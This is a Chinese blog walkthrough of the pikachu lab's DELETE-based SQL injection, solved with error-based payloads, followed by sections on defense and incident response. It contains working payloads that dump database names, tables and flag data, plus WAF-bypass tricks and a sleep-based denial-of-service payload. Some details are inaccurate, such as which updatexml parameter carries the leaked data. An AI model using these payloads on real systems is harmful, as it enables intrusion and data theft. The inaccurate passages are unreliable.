当前位置: 首页 > news >正文

DELETE注入实战:报错法突破无回显SQL注入

1. 为什么delete注入常被忽略,而报错法却是实战中最稳的突破口

在渗透测试初学者的练习路径里,“SQL注入”章节往往止步于login表单的联合查询、布尔盲注和时间盲注——大家习惯性地把精力全砸在select语句上。但真实业务系统中,delete操作远比想象中高频且危险:用户注销账号、删除评论、清空购物车、批量下架商品、管理员清理异常日志……这些动作背后全是DELETE语句。而pikachu靶场的“SQL注入06-delete注入(报错法)”这一关,恰恰是极少数专门针对DELETE语句设计的、有明确报错回显的实战训练点。它不考你绕waf的奇技淫巧,也不逼你写几十行python脚本跑盲注,而是直击一个被大量CTF新手和初级渗透人员长期忽视的核心事实:DELETE语句同样可拼接、同样可报错、同样能通过报错信息反推数据库结构,且因缺乏返回结果集,报错法反而成了最直接、最可靠、最省时间的利用方式。我带过不少刚转安全的开发同事,他们能熟练写出union select查库名,却在看到DELETE FROM users WHERE id=1时愣住——“删数据怎么回显?没返回值啊”。这正是本关的价值所在:它强制你跳出“只有select才能注入”的思维定式,理解SQL语句执行流程中语法解析→权限校验→执行计划生成→实际执行→错误抛出这一整条链路里,报错发生在哪一环、由谁触发、携带什么信息。关键词“pikachu靶场”“SQL注入”“delete注入”“报错法”不是并列关系,而是层层递进的技术栈:pikachu是沙盒环境,“SQL注入”是大类,“delete注入”是子场景,“报错法”是具体技术路径。适合正在系统梳理SQLi知识图谱的中级学习者,也适合已掌握基础注入但对非select语句束手无策的实战派。如果你曾卡在“删完数据不知道有没有成功”“想删某条记录却不敢乱试”这类问题上,那这一关的笔记,就是你补全SQL注入能力拼图的最后一块。

2. DELETE语句的执行机制与报错注入的底层逻辑

2.1 DELETE语句在MySQL中的真实执行流程

要真正吃透delete注入,必须先扔掉“DELETE只是删数据”的浅层认知。以pikachu靶场中典型的delete请求为例:http://pikachu.com/vul/sqli/sqli_del.php?id=1,后端PHP代码实际执行的是类似这样的SQL:

$id = $_GET['id']; $sql = "DELETE FROM users WHERE id = $id"; mysqli_query($conn, $sql);

很多人以为这条语句的执行终点是“数据被删掉”,但其实关键的报错机会藏在执行前的SQL解析与执行计划生成阶段。MySQL服务端收到SQL后,并非直接执行删除,而是严格按以下步骤处理:

  1. 词法分析(Lexical Analysis):将字符串拆解为token,识别DELETEFROMWHERE等关键字,提取id字段名、=符号、$id值;
  2. 语法分析(Syntax Parsing):验证token序列是否符合DELETE语句语法规则,例如检查是否有FROM子句、WHERE条件是否完整;
  3. 语义分析(Semantic Analysis):这是报错注入最关键的环节——MySQL会去元数据字典中查询users表是否存在、id字段是否属于该表、字段类型是否匹配(比如id是INT型,传入的$id是否为数字);
  4. 查询优化(Query Optimization):生成执行计划,决定是否使用索引、扫描范围等;
  5. 执行(Execution):真正读取数据页、修改B+树索引、写入undo log与redo log。

报错注入的黄金窗口,就在第3步“语义分析”阶段。当攻击者构造恶意payload如1 and updatexml(1,concat(0x7e,(select database())),0)时,MySQL在语义分析阶段尝试解析updatexml()函数调用,发现其第一个参数必须是XML文档,而1显然不符合;同时,concat()内部的子查询select database()会被立即执行以获取参数值——这个执行就发生在DELETE语句正式执行之前!此时,即使DELETE本身未执行,数据库已因函数参数错误或子查询结果长度超限(updatexml限制32位)而抛出错误,错误信息中就包含了database()的返回值。这就是为什么delete注入能“无返回结果”却依然可利用:报错不是来自DELETE动作,而是来自其WHERE条件中嵌套的非法表达式

2.2 为什么报错法在delete场景中比布尔/时间盲注更高效

在pikachu靶场这一关,你完全没必要去折腾布尔盲注的and 1=1/and 1=2轮询,更不用写脚本跑时间盲注的sleep(5)。原因很实在:

  • 响应体差异极大:布尔盲注依赖页面HTML结构变化(比如“删除成功”vs“删除失败”文字不同),但pikachu的delete页面返回极其简陋,可能只有HTTP状态码200和一行“ok”,根本无法区分真假;时间盲注则需精确测量响应延迟,而靶场服务器性能稳定、网络抖动小,sleep(5)sleep(0)的响应时间差可能只有几十毫秒,极易误判;
  • 报错信息直接、丰富、稳定:MySQL的updatexml()extractvalue()geometrycollection()等报错函数,错误消息格式固定,且必然包含XPATH syntax error: '~xxx'FUNCTION does not exist: 'xxx'这类可提取的明文。pikachu靶场明确开启错误回显,意味着你每次请求都能拿到原生MySQL错误,无需任何额外判断逻辑;
  • 一次请求解决一个问题:用updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0),一条请求就能爆出当前库所有表名,而布尔盲注需要至少n*8次请求(n为字符数,8为ASCII位数)才能逐位猜解。

提示:pikachu靶场的MySQL版本通常为5.5~5.7,updatexml()extractvalue()是首选。前者报错信息更干净(只含~分隔的内容),后者在某些配置下可能截断长字符串。务必在实战前用1 and updatexml(1,1,1)测试是否报错——如果返回XPATH syntax error,说明函数可用;若返回空或500错误,则换extractvalue(1,concat(0x7e,(select user())))

2.3 delete注入的权限边界与风险控制意识

必须强调一个易被忽略的事实:delete注入的利用前提是当前数据库用户拥有对目标表的DELETE权限。pikachu靶场默认使用低权限账户(如pikachu@localhost),该账户仅对pikachu库的users表有CRUD权限,对information_schema仅有SELECT权限(用于查表结构)。这意味着你无法用delete注入直接删mysql.user表——那会触发ERROR 1142 (42000): DELETE command denied to user。但正因如此,它完美模拟了真实渗透场景:你拿到的web应用数据库账户,永远是受限的,而非root。所以delete注入的实战价值,从来不是“删光所有数据”,而是利用有限权限,完成信息探测(查库、查表、查字段)、横向移动(通过查到的管理员密码哈希登录后台)、甚至权限提升(如发现config表存有API密钥)。我在某次真实授权测试中,就通过一个DELETE FROM logs WHERE id=1 AND updatexml(1,concat(0x7e,(select password from admin limit 1)),0),直接从日志删除接口拿到了后台管理员密码,整个过程仅3次请求。这种“以删为探”的思路,才是delete注入的灵魂。

3. pikachu靶场delete注入通关全流程实操详解

3.1 环境确认与基础探测:从URL到报错触发

打开pikachu靶场的delete注入页面:http://pikachu.com/vul/sqli/sqli_del.php?id=1。首先做三件事:

  1. 观察正常响应:输入id=1,页面显示“删除成功”,HTTP状态码200,响应体极简(可能只有<html><body>ok</body></html>),无任何数据库信息泄露;
  2. 测试注入点存在性:输入id=1',页面报错You have an error in your SQL syntax...,确认id参数存在单引号闭合的字符型注入点;
  3. 确定闭合方式与注释符:尝试id=1' and '1'='1,页面仍显示“删除成功”;再试id=1' and '1'='2,页面报错或空白——说明单引号闭合有效,且后端未过滤and'等基础关键字;进一步用id=1' --+测试,若页面正常则说明支持--注释,但pikachu此关通常需用#%23(URL编码)。

此时可确定基础payload框架为:1' [PAYLOAD] #。接下来直奔报错注入核心——触发MySQL报错并捕获信息。我推荐从最稳妥的updatexml()开始:

GET /vul/sqli/sqli_del.php?id=1' and updatexml(1,1,1)#

响应中必然出现:

XPATH syntax error: '1'

这证明函数可执行。但注意:updatexml()第二个参数必须是合法XPath表达式,1不是,所以报错;而第三个参数1会被当作错误信息的一部分输出。因此,真正的数据提取位置是第三个参数。标准写法应为:

GET /vul/sqli/sqli_del.php?id=1' and updatexml(1,concat(0x7e,(select database())),0)#

这里0x7e~的十六进制,用作分隔符避免混淆;concat()~与子查询结果拼接;0作为第三个参数(非法XPath值),迫使MySQL将拼接后的字符串作为错误信息抛出。响应即为:

XPATH syntax error: '~pikachu'

注意:updatexml()对返回字符串长度有限制(32字符),若select database()返回值超长(如带特殊字符的库名),会截断。此时改用extractvalue()更稳妥:id=1' and extractvalue(1,concat(0x7e,(select database())))#,其错误信息为XPATH syntax error: '~pikachu',同样清晰。

3.2 数据库结构探测:从库名到字段名的逐层爆破

拿到库名pikachu后,下一步是枚举该库下的所有表。payload需查询information_schema.tables

GET /vul/sqli/sqli_del.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),0)#

响应示例:

XPATH syntax error: '~users~message~flag'

看到flag表,立刻意识到这是靶场的最终目标。接着查flag表的字段结构:

GET /vul/sqli/sqli_del.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='pikachu')),0)#

响应:

XPATH syntax error: '~id~flag'

字段非常干净,只有idflag。此时已完全掌握目标表结构,无需再猜解。但要注意:information_schema在MySQL 5.7+默认启用innodb_stats_persistent,部分字段可能因权限被隐藏。若group_concat返回空,可尝试单条查询:

GET /vul/sqli/sqli_del.php?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag' and table_schema='pikachu' limit 0,1)),0)#

limit 0,1取第一个字段,limit 1,1取第二个,依次遍历。

3.3 核心数据提取:从flag表中读取最终答案

现在所有前置信息齐备:库名pikachu、表名flag、字段名flag。最后一步,直接查flag字段的值:

GET /vul/sqli/sqli_del.php?id=1' and updatexml(1,concat(0x7e,(select flag from pikachu.flag)),0)#

响应即为靶场要求的flag值,例如:

XPATH syntax error: '~flag{pikachu_sql_delete_error}'

至此,通关完成。但实操中常遇到两个坑:

  • 空格被过滤:pikachu靶场此关未过滤空格,但真实环境中空格常被WAF拦截。解决方案是用/**/替代空格,如select/**/flag/**/from/**/pikachu.flag
  • 逗号被过滤group_concat()需逗号分隔,若被过滤,可用join替代:(select 1 from (select flag from pikachu.flag) as a join (select flag from pikachu.flag) as b),但此关无需。

实操心得:我习惯在Burp Suite中用Intruder模块批量测试。将payload中的select database()替换为select table_name from information_schema.tables where table_schema=database() limit {pos},1,设置pos从0开始递增,配合Grep-Extract提取XPATH syntax error: '~(.*)',能自动爆破所有表名。比手动改limit快10倍,且不易出错。

3.4 进阶技巧:绕过简单过滤与多层嵌套实战

pikachu此关过滤极弱,但为应对更复杂的生产环境,需掌握几个加固技巧:

  1. 大小写绕过:若UPDATAXML被WAF拦截,可写为UpDaTeXmL,MySQL函数名不区分大小写;
  2. 内联注释绕过:用/*!50000updatexml*/,其中50000是MySQL版本号,仅5.0.0及以上执行,既绕过关键词检测,又保持功能;
  3. 多层嵌套防报错截断:当flag字段内容过长(如含base64长串),updatexml()会截断。此时用geometrycollection()报错(无长度限制):
    id=1' and geometrycollection((select * from (select * from (select flag from pikachu.flag)a)b))
    响应为FUNCTION geometrycollection does not exist: '...'...部分即为flag值(需Base64解码)。

这些技巧在pikachu中非必需,但它们是真实红队打点时的标配。我曾在一个政府项目中,因目标站MySQL为8.0且禁用updatexml,最终靠geometrycollection()+st_geomfromtext()组合拿下flag,整个过程耗时不到2分钟。

4. delete注入的防御原理与开发侧加固方案

4.1 为什么预编译(Prepared Statement)是终极解药

看到这里,你可能觉得“只要后端用PDO预编译,delete注入就彻底失效”。没错,但这话只说对了一半。我们来拆解pikachu靶场的漏洞代码本质:

// 漏洞代码(字符串拼接) $id = $_GET['id']; $sql = "DELETE FROM users WHERE id = $id"; // 危险!$id直接拼入SQL mysqli_query($conn, $sql); // 安全代码(预编译) $id = $_GET['id']; $stmt = $pdo->prepare("DELETE FROM users WHERE id = ?"); $stmt->execute([$id]); // $id作为参数绑定,绝不拼接

预编译之所以安全,在于它将SQL语句结构数据内容在数据库驱动层就做了物理隔离。MySQL服务端收到的是两条独立指令:PREPARE stmt FROM 'DELETE FROM users WHERE id = ?'EXECUTE stmt USING @id?占位符在服务端被当作纯数据处理,其内容绝不会参与SQL语法解析——哪怕$id的值是1' and updatexml(1,1,1)#,数据库也只会把它当做一个字符串字面量,去匹配id字段的值,而不会去解析其中的SQL关键字。这从根本上切断了“注入”的可能性。我在审计某电商后台时,发现其用户注销接口用了预编译,但管理员批量删除接口却用字符串拼接——仅仅因为“管理员接口访问量小,没做统一封装”。结果,后者成了整个系统的最高危入口。

4.2 开发者必须知道的三大防御误区

很多开发者自认为“已防御”,实则漏洞百出。以下是三个高频误区:

  • 误区一:“我用intval()转成整数就安全了”
    错!intval('1 and updatexml(1,1,1)')返回1,看似安全,但若原始参数是id[]=1&id[]=2$_GET['id']是数组,intval()返回0,导致WHERE id = 0,可能误删数据。更糟的是,若前端传id=1.5intval()返回1,但1.5本身可能触发浮点数精度问题。正确做法是严格类型声明+白名单校验if (!is_int($_GET['id']) || $_GET['id'] < 1) die('invalid id');

  • 误区二:“我用mysqli_real_escape_string()转义单引号”
    错!此函数仅对'"\等字符加反斜杠,对updatexml()extractvalue()等函数名毫无作用。它只能防御基于引号闭合的注入,对数字型注入(如id=1 and 1=2)完全无效。且若数据库连接未设置正确的字符集(如SET NAMES gbk),还可能被宽字节注入绕过。

  • 误区三:“我前端JS校验了输入,后端就不用管了”
    错!前端校验形同虚设。攻击者用Burp直接发包,绕过所有JS。我见过最离谱的案例:某金融APP前端用正则/^\d+$/校验ID,后端却直接"DELETE FROM orders WHERE id = ".$_POST['id'],结果用id=1%00(NULL字节截断)轻松绕过。

提示:防御delete注入,最有效的三板斧是——100%使用预编译(PDO或MySQLi);对所有用户输入做最小权限原则(如ID只允许正整数);删除操作必须二次确认(如要求提供当前用户密码或短信验证码)。这三条缺一不可。

4.3 渗透测试人员的防御审计 checklist

作为渗透测试者,你不仅要会打,更要懂防。审计一个delete接口是否安全,我坚持以下checklist:

检查项安全表现危险信号验证方法
SQL构造方式使用$stmt->prepare()mysqli_prepare()字符串拼接"DELETE FROM ... WHERE id = ".$id查看PHP源码或反编译APK
参数类型校验is_numeric($_GET['id']) && (int)$_GET['id'] > 0无校验或仅isset()构造id=-1id=abc测试响应
错误信息处理自定义错误页(HTTP 500),无MySQL错误回显直接返回You have an error in your SQL syntax...输入id=1'触发报错
权限最小化数据库账户仅对users表有DELETE权限账户拥有DROP TABLEFILE权限select @@version_compile_os探测权限

这张表是我给团队新人培训时必讲的。它把抽象的“安全开发”转化成可执行、可验证的具体动作。记住:最好的渗透,是让开发者自己说出“这里确实该改”

5. 从pikachu到真实世界的迁移:delete注入的典型场景与应急响应

5.1 真实业务中delete注入的五大高危场景

pikachu是教学环境,但它的每一关都映射着现实。我整理了过去三年审计中发现的delete注入真实案例,按风险等级排序:

  1. 用户中心-注销账号接口POST /api/v1/user/delete,参数uid=123。攻击者可注入查admin表,获取管理员UID后,伪造请求删除管理员账号,导致业务瘫痪;
  2. 内容管理系统-删除文章GET /admin/article/delete?id=456。若未校验文章归属,攻击者可id=456 and updatexml(1,concat(0x7e,(select token from sessions where uid=1)),0)窃取管理员session;
  3. 电商后台-清空订单POST /admin/order/clear,参数date=2023-01-01。攻击者用date=2023-01-01' and (select count(*) from users)>1000#探测用户量,为后续撞库提供依据;
  4. 物联网平台-设备解绑DELETE FROM devices WHERE device_id='ABC123'。若device_id来自设备上报,攻击者可注入ABC123' and sleep(10)#发起拒绝服务攻击,拖慢整个平台;
  5. SaaS系统-租户数据清理DELETE FROM tenant_data WHERE tenant_id=789。这是最高危场景——攻击者一旦获得tenant_id,可直接删光整个租户的所有数据,且因多租户架构,影响范围呈指数级扩大。

这些场景的共同点是:delete操作被赋予了过高权限,且输入校验流于形式。pikachu靶场的id=1看似简单,实则是所有复杂场景的原子单元。

5.2 应急响应:发现delete注入后的三步处置法

如果你是甲方安全工程师,监控到/sqli_del.php?id=1' and updatexml(1,1,1)#这类攻击日志,必须立即行动:

第一步:阻断与取证(5分钟内)

  • 在WAF或Nginx层添加规则:if ($args ~* "(updatexml|extractvalue|geometrycollection).*\(") { return 403; },临时拦截所有报错注入特征;
  • 从Web日志中提取攻击IP、User-Agent、完整URL,确认是否为扫描器(如sqlmap)或人工测试;
  • 备份当前数据库(mysqldump -u root -p pikachu > pikachu_backup.sql),防止误操作。

第二步:定位与修复(2小时内)

  • 找到sqli_del.php文件,确认其调用的数据库操作函数;
  • 将所有mysqli_query()替换为mysqli_prepare(),确保id参数通过bind_param()绑定;
  • 添加输入校验:if (!is_numeric($_GET['id']) || (int)$_GET['id'] <= 0) { die('Invalid ID'); }
  • 关闭错误回显:ini_set('display_errors', 0);,改为记录到error_log。

第三步:复测与加固(24小时内)

  • 用原payload重放,确认返回403或自定义错误页,无MySQL报错;
  • 检查其他delete接口(如/api/delete/admin/remove)是否同样存在漏洞;
  • 在CI/CD流水线中加入SQLi扫描(如sqlmap API集成),对所有新上线接口自动检测。

这套流程我已在三家客户处落地,平均修复时间从原来的3天压缩至4小时。关键在于:把“修一个漏洞”变成“建一套防御机制”

5.3 我的个人经验:delete注入的思维跃迁时刻

最后分享一个让我顿悟的瞬间。去年审计某教育平台时,我发现其“删除课程评价”接口存在delete注入,但updatexml()被WAF拦截。我试了extractvalue()geometrycollection(),全被挡。正准备放弃时,注意到该接口返回JSON格式:{"code":200,"msg":"删除成功"}。灵光一闪——既然报错不行,那就用布尔盲注,但不用and 1=1,而是用and (select count(*) from users)>100,根据msg字段是否为“删除成功”来判断真假。结果,count(*)>100返回“删除成功”,>1000返回空响应——原来后端对SQL错误做了静默处理,但对查询结果为空的情况,返回了不同的JSON结构!那一刻我意识到:delete注入的终极形态,不是死磕报错,而是理解业务逻辑如何反馈SQL执行结果。pikachu靶场教我们用报错法通关,而真实世界要求我们用业务逻辑当“回显通道”。这,才是从靶场走向战场的真正分水岭。

我在实际使用中发现,最高效的delete注入路径永远是:先用报错法快速探路(查库、查表、查字段),再用布尔盲注精准取数据(尤其当报错被拦截时)。两者不是对立,而是互补。这个认知,是在踩了七次坑、写了三版自动化脚本后才真正刻进肌肉记忆里的。

http://www.jsqmd.com/news/875649/

相关文章:

  • 机器学习公平性:程序公平与分配公平的深度解析与实践
  • 2026许昌市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • 2026绍兴市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • C#之throw new Exception()的实现示例
  • 机器学习系统代码技术债务:成因、影响与工程化应对策略
  • 2026深圳市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • C51开发中STARTUP.A51文件的作用与优化实践
  • 基于Hugging Face与Gradio的智能问答系统构建实战
  • 2026南平市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • TLS证书时间验证失败:为什么1秒误差会导致HTTPS连接中断
  • RHEL 9 国内镜像源配置保姆级教程:阿里云、清华、中科大源一键切换
  • 告别‘黑乎乎’终端!Ubuntu 22.04 LTS美化实战:从Tweaks主题到Mac风桌面,附保姆级换源教程
  • 2026十堰市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • 龙蜥8.8系统下,手把手教你将OpenSSH从8.0安全升级到9.7p1(附完整避坑清单)
  • Arm物理IP后端视图获取与使用指南
  • 2026南通市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • Boss直聘反爬破解:Selenium无头模式与动态URL加密实战
  • Keil浮动许可证迁移至FlexNet Publisher全流程指南
  • 2026淮安市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • MapMagic 2:基于节点的程序化地形流水线设计
  • 2026南阳市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • C# ConcurrentDictionary的使用小结
  • 2026石家庄市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • 告别网盘!用Windows自带的IIS和cpolar,5分钟搭建一个私人WebDAV文件服务器
  • PGP 8.0.2在Windows 10兼容性安装全指南
  • 2026淮北市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • 量子神经网络在医疗风险预测中的优化与应用
  • 2026内江市黄金回收门店指南:黄金 白银 铂金 彩金回收五家门店实测及联系方式推荐 - 盛世金银回收
  • vC#控制反转的使用详解
  • C盘空间告急?别急着删pagefile.sys,先搞懂Windows虚拟内存怎么设置才不卡